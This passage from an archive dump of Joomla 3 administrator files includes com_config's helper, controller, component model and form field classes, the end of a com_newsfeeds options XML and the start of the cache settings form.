			<option value="right">COM_NEWSFEEDS_RIGHT</option>
			<option value="left">COM_NEWSFEEDS_LEFT</option>
			<option value="none">COM_NEWSFEEDS_NONE</option>
		</field>

		<field
			name="float_second"
			type="list"
			label="COM_NEWSFEEDS_FLOAT_SECOND_LABEL"
			description="COM_NEWSFEEDS_FLOAT_DESC"
			>
			<option value="right">COM_NEWSFEEDS_RIGHT</option>
			<option value="left">COM_NEWSFEEDS_LEFT</option>
			<option value="none">COM_NEWSFEEDS_NONE</option>
		</field>

		<field
			name="show_tags"
			type="radio"
			label="COM_NEWSFEEDS_FIELD_SHOW_TAGS_LABEL"
			description="COM_NEWSFEEDS_FIELD_SHOW_TAGS_DESC"
			id="show_tags"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>
	</fieldset>

	<fieldset
		name="category"
		label="JCATEGORY"
		description="COM_NEWSFEEDS_FIELD_CONFIG_CATEGORY_SETTINGS_DESC"
		>

		<field
			name="category_layout"
			type="componentlayout"
			label="JGLOBAL_FIELD_LAYOUT_LABEL"
			description="JGLOBAL_FIELD_LAYOUT_DESC"
			menuitems="true"
			extension="com_newsfeeds"
			view="category"
		/>

		<field
			name="show_category_title"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_TITLE"
			description="JGLOBAL_SHOW_CATEGORY_TITLE_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_description"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
			description="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC"
			id="show_description"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_description_image"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
			description="JGLOBAL_SHOW_CATEGORY_IMAGE_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="maxLevel"
			type="list"
			label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
			description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
			default="-1"
			>
			<option value="0">JNONE</option>
			<option value="-1">JALL</option>
			<option value="1">J1</option>
			<option value="2">J2</option>
			<option value="3">J3</option>
			<option value="4">J4</option>
			<option value="5">J5</option>
		</field>

		<field
			name="show_empty_categories"
			type="radio"
			label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
			description="COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="maxLevel:-1,1,2,3,4,5"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_subcat_desc"
			type="radio"
			label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
			description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="maxLevel:-1,1,2,3,4,5"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_cat_items"
			type="radio"
			label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL"
			description="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC"
			id="show_cat_items"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_cat_tags"
			type="radio"
			label="COM_NEWSFEEDS_FIELD_SHOW_CAT_TAGS_LABEL"
			description="COM_NEWSFEEDS_FIELD_SHOW_CAT_TAGS_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>
	</fieldset>

	<fieldset
		name="categories"
		label="JCATEGORIES"
		description="COM_NEWSFEEDS_CATEGORIES_DESC"
		>

		<field
			name="show_base_description"
			type="radio"
			label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
			description="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="maxLevelcat"
			type="list"
			label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
			description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
			default="-1"
			>
			<option value="-1">JALL</option>
			<option value="0">JNONE</option>
			<option value="1">J1</option>
			<option value="2">J2</option>
			<option value="3">J3</option>
			<option value="4">J4</option>
			<option value="5">J5</option>
		</field>

		<field
			name="show_empty_categories_cat"
			type="radio"
			label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
			description="COM_NEWSFEEDS_SHOW_EMPTY_CATEGORIES_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="maxLevelcat:-1,1,2,3,4,5"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_subcat_desc_cat"
			type="radio"
			label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
			description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="maxLevelcat:-1,1,2,3,4,5"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_cat_items_cat"
			type="radio"
			label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL"
			description="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>
	</fieldset>

	<fieldset
		name="listlayout"
		label="JGLOBAL_LIST_LAYOUT_OPTIONS"
		description="COM_NEWSFEEDS_FIELD_CONFIG_LIST_SETTINGS_DESC"
		>

		<field
			name="filter_field"
			type="radio"
			label="JGLOBAL_FILTER_FIELD_LABEL"
			description="JGLOBAL_FILTER_FIELD_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_pagination_limit"
			type="radio"
			label="JGLOBAL_DISPLAY_SELECT_LABEL"
			description="JGLOBAL_DISPLAY_SELECT_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_headings"
			type="radio"
			label="JGLOBAL_SHOW_HEADINGS_LABEL"
			description="JGLOBAL_SHOW_HEADINGS_DESC"
			id="show_headings"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_articles"
			type="radio"
			label="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL"
			description="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_DESC"
			id="show_articles"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_link"
			type="radio"
			label="COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL"
			description="COM_NEWSFEEDS_FIELD_SHOW_LINKS_DESC"
			id="show_link"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_pagination"
			type="list"
			label="JGLOBAL_PAGINATION_LABEL"
			description="JGLOBAL_PAGINATION_DESC"
			default="2"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
			<option value="2">JGLOBAL_AUTO</option>
		</field>

		<field
			name="show_pagination_results"
			type="radio"
			label="JGLOBAL_PAGINATION_RESULTS_LABEL"
			description="JGLOBAL_PAGINATION_RESULTS_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_pagination:1,2"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>
	</fieldset>

	<fieldset name="integration"
		label="JGLOBAL_INTEGRATION_LABEL"
		description="COM_NEWSFEEDS_CONFIG_INTEGRATION_SETTINGS_DESC"
	>

		<field
			name="integration_sef"
			type="note"
			label="JGLOBAL_SEF_TITLE"
		/>

		<field
			name="sef_advanced"
			type="radio"
			class="btn-group btn-group-yesno btn-group-reversed"
			default="0"
			label="JGLOBAL_SEF_ADVANCED_LABEL"
			description="JGLOBAL_SEF_ADVANCED_DESC"
			filter="integer"
		>
			<option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option>
			<option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option>
		</field>

		<field
			name="sef_ids"
			type="radio"
			class="btn-group btn-group-yesno"
			default="0"
			label="JGLOBAL_SEF_NOIDS_LABEL"
			description="JGLOBAL_SEF_NOIDS_DESC"
			showon="sef_advanced:1"
			filter="integer">
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_newsfeeds"
			section="component"
		/>
	</fieldset>
</config>
com_config/helper/config.php000060400000005637152455305270012123 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Components helper for com_config
 *
 * @since  3.0
 */
class ConfigHelperConfig extends JHelperContent
{
	/**
	 * Get an array of all enabled components.
	 *
	 * @return  array
	 *
	 * @since   3.0
	 */
	public static function getAllComponents()
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('element')
			->from('#__extensions')
			->where('type = ' . $db->quote('component'))
			->where('enabled = 1');
		$db->setQuery($query);
		$result = $db->loadColumn();

		return $result;
	}

	/**
	 * Returns true if the component has configuration options.
	 *
	 * @param   string  $component  Component name
	 *
	 * @return  boolean
	 *
	 * @since   3.0
	 */
	public static function hasComponentConfig($component)
	{
		return is_file(JPATH_ADMINISTRATOR . '/components/' . $component . '/config.xml');
	}

	/**
	 * Returns an array of all components with configuration options.
	 * Optionally return only those components for which the current user has 'core.manage' rights.
	 *
	 * @param   boolean  $authCheck  True to restrict to components where current user has 'core.manage' rights.
	 *
	 * @return  array
	 *
	 * @since   3.0
	 */
	public static function getComponentsWithConfig($authCheck = true)
	{
		$result = array();
		$components = self::getAllComponents();
		$user = JFactory::getUser();

		// Remove com_config from the array as that may have weird side effects
		$components = array_diff($components, array('com_config'));

		foreach ($components as $component)
		{
			if (self::hasComponentConfig($component) && (!$authCheck || $user->authorise('core.manage', $component)))
			{
				self::loadLanguageForComponent($component);
				$result[$component] = JApplicationHelper::stringURLSafe(JText::_($component)) . '_' . $component;
			}
		}

		asort($result);

		return array_keys($result);
	}

	/**
	 * Load the sys language for the given component.
	 *
	 * @param   array  $components  Array of component names.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function loadLanguageForComponents($components)
	{
		foreach ($components as $component)
		{
			self::loadLanguageForComponent($component);
		}
	}

	/**
	 * Load the sys language for the given component.
	 *
	 * @param   string  $component  component name.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public static function loadLanguageForComponent($component)
	{
		if (empty($component))
		{
			return;
		}

		$lang = JFactory::getLanguage();

		// Load the core file then
		// Load extension-local file.
		$lang->load($component . '.sys', JPATH_BASE, null, false, true)
		|| $lang->load($component . '.sys', JPATH_ADMINISTRATOR . '/components/' . $component, null, false, true);
	}
}
com_config/access.xml000060400000000331152455305270010633 0ustar00<?xml version="1.0" encoding="utf-8"?>
<access component="com_config">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
	</section>
</access>
com_config/controller.php000060400000002360152455305270011550 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Config Component Controller
 *
 * @since  1.5
 */
class ConfigController extends JControllerLegacy
{
	/**
	 * @var    string  The default view.
	 * @since  1.6
	 */
	protected $default_view = 'application';

	/**
	 * Method to display the view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  ConfigController  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = array())
	{
		// Set the default view name and format from the Request.
		$vName = $this->input->get('view', 'application');

		if (ucfirst($vName) == 'Application')
		{
			$controller = new ConfigControllerApplicationDisplay;
		}
		elseif (ucfirst($vName) == 'Component')
		{
			$controller = new ConfigControllerComponentDisplay;
		}

		return $controller->execute();
	}
}
com_config/config.xml000060400000001733152455305270010646 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_config</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_CONFIG_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>config.php</filename>
			<filename>controller.php</filename>
			<folder>controllers</folder>
			<folder>models</folder>
			<folder>controller</folder>
			<folder>model</folder>
			<folder>view</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_config.ini</language>
			<language tag="en-GB">language/en-GB.com_config.sys.ini</language>
		</languages>
	</administration>
</extension>
com_config/model/component.php000060400000012542152455305270012472 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Model for component configuration
 *
 * @since  3.2
 */
class ConfigModelComponent extends ConfigModelForm
{
	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return	void
	 *
	 * @since	3.2
	 */
	protected function populateState()
	{
		$input = JFactory::getApplication()->input;

		// Set the component (option) we are dealing with.
		$component = $input->get('component');
		$state = $this->loadState();
		$state->set('component.option', $component);

		// Set an alternative path for the configuration file.
		if ($path = $input->getString('path'))
		{
			$path = JPath::clean(JPATH_SITE . '/' . $path);
			JPath::check($path);
			$state->set('component.path', $path);
		}

		$this->setState($state);
	}

	/**
	 * Method to get a form object.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since	3.2
	 */
	public function getForm($data = array(), $loadData = true)
	{
		$state = $this->getState();
		$option = $state->get('component.option');

		if ($path = $state->get('component.path'))
		{
			// Add the search path for the admin component config.xml file.
			JForm::addFormPath($path);
		}
		else
		{
			// Add the search path for the admin component config.xml file.
			JForm::addFormPath(JPATH_ADMINISTRATOR . '/components/' . $option);
		}

		// Get the form.
		$form = $this->loadForm(
			'com_config.component',
			'config',
			array('control' => 'jform', 'load_data' => $loadData),
			false,
			'/config'
		);

		if (empty($form))
		{
			return false;
		}

		$lang = JFactory::getLanguage();
		$lang->load($option, JPATH_BASE, null, false, true)
		|| $lang->load($option, JPATH_BASE . "/components/$option", null, false, true);

		return $form;
	}

	/**
	 * Get the component information.
	 *
	 * @return	object
	 *
	 * @since	3.2
	 */
	public function getComponent()
	{
		$state = $this->getState();
		$option = $state->get('component.option');

		// Load common and local language files.
		$lang = JFactory::getLanguage();
		$lang->load($option, JPATH_BASE, null, false, true)
		|| $lang->load($option, JPATH_BASE . "/components/$option", null, false, true);

		$result = JComponentHelper::getComponent($option);

		return $result;
	}

	/**
	 * Method to save the configuration data.
	 *
	 * @param   array  $data  An array containing all global config data.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since	3.2
	 * @throws  RuntimeException
	 */
	public function save($data)
	{
		$table      = JTable::getInstance('extension');
		$dispatcher = JEventDispatcher::getInstance();
		$context    = $this->option . '.' . $this->name;
		JPluginHelper::importPlugin('extension');

		// Check super user group.
		if (isset($data['params']) && !JFactory::getUser()->authorise('core.admin'))
		{
			$form = $this->getForm(array(), false);

			foreach ($form->getFieldsets() as $fieldset)
			{
				foreach ($form->getFieldset($fieldset->name) as $field)
				{
					if ($field->type === 'UserGroupList' && isset($data['params'][$field->fieldname])
						&& (int) $field->getAttribute('checksuperusergroup', 0) === 1
						&& JAccess::checkGroup($data['params'][$field->fieldname], 'core.admin'))
					{
						throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'));
					}
				}
			}
		}

		// Save the rules.
		if (isset($data['params']) && isset($data['params']['rules']))
		{
			if (!JFactory::getUser()->authorise('core.admin', $data['option']))
			{
				throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'));
			}

			$rules = new JAccessRules($data['params']['rules']);
			$asset = JTable::getInstance('asset');

			if (!$asset->loadByName($data['option']))
			{
				$root = JTable::getInstance('asset');
				$root->loadByName('root.1');
				$asset->name = $data['option'];
				$asset->title = $data['option'];
				$asset->setLocation($root->id, 'last-child');
			}

			$asset->rules = (string) $rules;

			if (!$asset->check() || !$asset->store())
			{
				throw new RuntimeException($asset->getError());
			}

			// We don't need this anymore
			unset($data['option']);
			unset($data['params']['rules']);
		}

		// Load the previous Data
		if (!$table->load($data['id']))
		{
			throw new RuntimeException($table->getError());
		}

		unset($data['id']);

		// Bind the data.
		if (!$table->bind($data))
		{
			throw new RuntimeException($table->getError());
		}

		// Check the data.
		if (!$table->check())
		{
			throw new RuntimeException($table->getError());
		}

		$result = $dispatcher->trigger('onExtensionBeforeSave', array($context, $table, false));

			// Store the data.
		if (in_array(false, $result, true) || !$table->store())
		{
			throw new RuntimeException($table->getError());
		}

		// Trigger the after save event.
		$dispatcher->trigger('onExtensionAfterSave', array($context, $table, false));

		// Clean the component cache.
		$this->cleanCache('_system', 0);
		$this->cleanCache('_system', 1);

		return true;
	}
}
com_config/model/field/filters.php000060400000014767152455305270013236 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Text Filters form field.
 *
 * @since  1.6
 */
class JFormFieldFilters extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var		string
	 * @since	1.6
	 */
	public $type = 'Filters';

	/**
	 * Method to get the field input markup.
	 *
	 * TODO: Add access check.
	 *
	 * @return	string	The field input markup.
	 *
	 * @since	1.6
	 */
	protected function getInput()
	{
		// Load Framework
		JHtml::_('jquery.framework');

		// Add translation string for notification
		JText::script('COM_CONFIG_TEXT_FILTERS_NOTE');

		// Add Javascript
		$doc = JFactory::getDocument();
		$doc->addScriptDeclaration('
			jQuery( document ).ready(function( $ ) {
				$("#filter-config select").change(function() {
					var currentFilter = $(this).children("option:selected").val();

					if($(this).children("option:selected").val() === "NONE") {
						var child = $("#filter-config select[data-parent=" + $(this).attr("data-id") + "]");
					
						while(child.length !== 0) {
							if(child.children("option:selected").val() !== "NONE") {
								alert(Joomla.JText._("COM_CONFIG_TEXT_FILTERS_NOTE"));
								break;
							}
							
							child = $("#filter-config select[data-parent=" + child.attr("data-id") + "]");
						}
						
						return;
					}

					var parent = $("#filter-config select[data-id=" + $(this).attr("data-parent") + "]");

					while(parent.length !== 0) {
						if(parent.children("option:selected").val() === "NONE") {
							alert(Joomla.JText._("COM_CONFIG_TEXT_FILTERS_NOTE"));
							break;
						}
						
						parent = $("#filter-config select[data-id=" + parent.attr("data-parent") + "]")
					}
				});
			});
		');

		// Get the available user groups.
		$groups = $this->getUserGroups();

		// Build the form control.
		$html = array();

		// Open the table.
		$html[] = '<table id="filter-config" class="table table-striped">';

		// The table heading.
		$html[] = '	<thead>';
		$html[] = '	<tr>';
		$html[] = '		<th>';
		$html[] = '			<span class="acl-action">' . JText::_('JGLOBAL_FILTER_GROUPS_LABEL') . '</span>';
		$html[] = '		</th>';
		$html[] = '		<th>';
		$html[] = '			<span class="acl-action">' . JText::_('JGLOBAL_FILTER_TYPE_LABEL') . '</span>';
		$html[] = '		</th>';
		$html[] = '		<th>';
		$html[] = '			<span class="acl-action">' . JText::_('JGLOBAL_FILTER_TAGS_LABEL') . '</span>';
		$html[] = '		</th>';
		$html[] = '		<th>';
		$html[] = '			<span class="acl-action">' . JText::_('JGLOBAL_FILTER_ATTRIBUTES_LABEL') . '</span>';
		$html[] = '		</th>';
		$html[] = '	</tr>';
		$html[] = '	</thead>';

		// The table body.
		$html[] = '	<tbody>';

		foreach ($groups as $group)
		{
			if (!isset($this->value[$group->value]))
			{
				$this->value[$group->value] = array('filter_type' => 'BL', 'filter_tags' => '', 'filter_attributes' => '');
			}

			$group_filter = $this->value[$group->value];

			$group_filter['filter_tags']       = !empty($group_filter['filter_tags']) ? $group_filter['filter_tags'] : '';
			$group_filter['filter_attributes'] = !empty($group_filter['filter_attributes']) ? $group_filter['filter_attributes'] : '';

			$html[] = '	<tr>';
			$html[] = '		<td class="acl-groups left">';
			$html[] = '			' . JLayoutHelper::render('joomla.html.treeprefix', array('level' => $group->level + 1)) . $group->text;
			$html[] = '		</td>';
			$html[] = '		<td>';
			$html[] = '				<select'
				. ' name="' . $this->name . '[' . $group->value . '][filter_type]"'
				. ' id="' . $this->id . $group->value . '_filter_type"'
				. ' data-parent="' . ($group->parent) . '" '
				. ' data-id="' . ($group->value) . '" '
				. ' class="novalidate"'
				. '>';
			$html[] = '					<option value="BL"' . ($group_filter['filter_type'] == 'BL' ? ' selected="selected"' : '') . '>'
				. JText::_('COM_CONFIG_FIELD_FILTERS_DEFAULT_BLACK_LIST') . '</option>';
			$html[] = '					<option value="CBL"' . ($group_filter['filter_type'] == 'CBL' ? ' selected="selected"' : '') . '>'
				. JText::_('COM_CONFIG_FIELD_FILTERS_CUSTOM_BLACK_LIST') . '</option>';
			$html[] = '					<option value="WL"' . ($group_filter['filter_type'] == 'WL' ? ' selected="selected"' : '') . '>'
				. JText::_('COM_CONFIG_FIELD_FILTERS_WHITE_LIST') . '</option>';
			$html[] = '					<option value="NH"' . ($group_filter['filter_type'] == 'NH' ? ' selected="selected"' : '') . '>'
				. JText::_('COM_CONFIG_FIELD_FILTERS_NO_HTML') . '</option>';
			$html[] = '					<option value="NONE"' . ($group_filter['filter_type'] == 'NONE' ? ' selected="selected"' : '') . '>'
				. JText::_('COM_CONFIG_FIELD_FILTERS_NO_FILTER') . '</option>';
			$html[] = '				</select>';
			$html[] = '		</td>';
			$html[] = '		<td>';
			$html[] = '				<input'
				. ' name="' . $this->name . '[' . $group->value . '][filter_tags]"'
				. ' type="text"'
				. ' id="' . $this->id . $group->value . '_filter_tags" class="novalidate"'
				. ' value="' . htmlspecialchars($group_filter['filter_tags'], ENT_QUOTES) . '"'
				. '/>';
			$html[] = '		</td>';
			$html[] = '		<td>';
			$html[] = '				<input'
				. ' name="' . $this->name . '[' . $group->value . '][filter_attributes]"'
				. ' type="text"'
				. ' id="' . $this->id . $group->value . '_filter_attributes" class="novalidate"'
				. ' value="' . htmlspecialchars($group_filter['filter_attributes'], ENT_QUOTES) . '"'
				. '/>';
			$html[] = '		</td>';
			$html[] = '	</tr>';
		}

		$html[] = '	</tbody>';

		// Close the table.
		$html[] = '</table>';

		// Add notes
		$html[] = '<div class="alert">';
		$html[] = '<p>' . JText::_('JGLOBAL_FILTER_TYPE_DESC') . '</p>';
		$html[] = '<p>' . JText::_('JGLOBAL_FILTER_TAGS_DESC') . '</p>';
		$html[] = '<p>' . JText::_('JGLOBAL_FILTER_ATTRIBUTES_DESC') . '</p>';
		$html[] = '</div>';

		return implode("\n", $html);
	}

	/**
	 * A helper to get the list of user groups.
	 *
	 * @return	array
	 *
	 * @since	1.6
	 */
	protected function getUserGroups()
	{
		// Get a database object.
		$db = JFactory::getDbo();

		// Get the user groups from the database.
		$query = $db->getQuery(true);
		$query->select('a.id AS value, a.title AS text, COUNT(DISTINCT b.id) AS level, a.parent_id as parent');
		$query->from('#__usergroups AS a');
		$query->join('LEFT', '#__usergroups AS b on a.lft > b.lft AND a.rgt < b.rgt');
		$query->group('a.id, a.title, a.lft');
		$query->order('a.lft ASC');
		$db->setQuery($query);
		$options = $db->loadObjectList();

		return $options;
	}
}
com_config/model/field/configcomponents.php000060400000003444152455305270015127 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JFormHelper::loadFieldClass('List');

/**
 * Text Filters form field.
 *
 * @since  3.7.0
 */
class JFormFieldConfigComponents extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var		string
	 * @since	3.7.0
	 */
	public $type = 'ConfigComponents';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array  An array of JHtml options.
	 *
	 * @since   3.7.0
	 */
	protected function getOptions()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('name AS text, element AS value')
			->from('#__extensions')
			->where('enabled >= 1')
			->where('type =' . $db->quote('component'));

		$items = $db->setQuery($query)->loadObjectList();

		if ($items)
		{
			$lang = JFactory::getLanguage();

			foreach ($items as &$item)
			{
				// Load language
				$extension = $item->value;

				if (JFile::exists(JPATH_ADMINISTRATOR . '/components/' . $extension . '/config.xml'))
				{
					$source = JPATH_ADMINISTRATOR . '/components/' . $extension;
					$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true)
					|| $lang->load("$extension.sys", $source, null, false, true);

					// Translate component name
					$item->text = JText::_($item->text);
				}
				else
				{
					$item = null;
				}
			}

			// Sort by component name
			$items = ArrayHelper::sortObjects(array_filter($items), 'text', 1, true, true);
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $items);

		return $options;
	}
}
com_config/model/form/application.xml000060400000073352152455305270013755 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset
		name="cache"
		label="COM_CONFIG_CACHE_SETTINGS_LABEL">

		<field
			name="cache_handler"
			type="cachehandler"
			label="COM_CONFIG_FIELD_CACHE_HANDLER_LABEL"
			description="COM_CONFIG_FIELD_CACHE_HANDLER_DESC"
			default=""
			filter="word"
		/>

		<field
			name="cache_path"
			type="text"
			label="COM_CONFIG_FIELD_CACHE_PATH_LABEL"
			description="COM_CONFIG_FIELD_CACHE_PATH_DESC"
			showon="cache_handler:file"
			filter="string"
			size="50"
		/>

		<field
			name="memcache_persist"
			type="radio"
			label="COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="cache_handler:memcache"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="memcache_compress"
			type="radio"
			label="COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			showon="cache_handler:memcache"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="memcache_server_host"
			type="text"
			label="COM_CONFIG_FIELD_MEMCACHE_HOST_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_HOST_DESC"
			default="localhost"
			showon="cache_handler:memcache"
			filter="string"
			size="25"
		/>

		<field
			name="memcache_server_port"
			type="number"
			label="COM_CONFIG_FIELD_MEMCACHE_PORT_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_PORT_DESC"
			showon="cache_handler:memcache"
			min="0"
			max="65535"
			default="11211"
			filter="integer"
			validate="number"
			size="5"
		/>

		<field
			name="memcached_persist"
			type="radio"
			label="COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="cache_handler:memcached"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="memcached_compress"
			type="radio"
			label="COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			showon="cache_handler:memcached"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="memcached_server_host"
			type="text"
			label="COM_CONFIG_FIELD_MEMCACHE_HOST_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_HOST_DESC"
			default="localhost"
			showon="cache_handler:memcached"
